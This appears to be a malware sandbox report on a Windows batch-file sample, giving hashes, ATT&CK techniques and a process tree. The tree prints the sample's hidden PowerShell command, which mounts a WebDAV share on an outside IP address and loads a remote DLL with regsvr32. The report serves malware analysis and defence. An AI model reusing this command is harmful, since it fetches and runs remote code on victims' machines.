d93c97cfceef5b3f38964fd78b31898f065910697eef8a9439ff9c91074b84f3

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 18:17 UTC

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General

Target

54961107317895106.bat
Size

9KB
MD5

d90267c51ff3376e4b64fffeb178f342
SHA1

3d7b4a9495356c6b447c232dff22211bd68fa0ea
SHA256

d93c97cfceef5b3f38964fd78b31898f065910697eef8a9439ff9c91074b84f3
SHA512

d675d51f2dfdb227f08d320150592402f6bd55b3acfdfa3e69c59469157779026f9757a834e3685d2d340c332c62d829a520435cd81c169902de76aa9e10a87e
SSDEEP

192:4EAgwQg0MzUBn8BKBxfOCuqf6MYHVpHsZ/ND+b:/AgaTqnCKBxyqij1pM+b

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2744	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2732	wordpad.exe
2732	wordpad.exe
2732	wordpad.exe
2732	wordpad.exe
2732	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 2732	2020	cmd.exe	31
PID 2020 wrote to memory of 2732	2020	cmd.exe	31
PID 2020 wrote to memory of 2732	2020	cmd.exe	31
PID 2020 wrote to memory of 2744	2020	cmd.exe	32
PID 2020 wrote to memory of 2744	2020	cmd.exe	32
PID 2020 wrote to memory of 2744	2020	cmd.exe	32
PID 2744 wrote to memory of 2552	2744	powershell.exe	34
PID 2744 wrote to memory of 2552	2744	powershell.exe	34
PID 2744 wrote to memory of 2552	2744	powershell.exe	34
PID 2744 wrote to memory of 2544	2744	powershell.exe	35
PID 2744 wrote to memory of 2544	2744	powershell.exe	35
PID 2744 wrote to memory of 2544	2744	powershell.exe	35
PID 2744 wrote to memory of 2544	2744	powershell.exe	35
PID 2744 wrote to memory of 2544	2744	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\54961107317895106.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2552
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
    3⤵
    PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2744-23-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

Filesize
2.9MB

Download
memory/2744-24-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download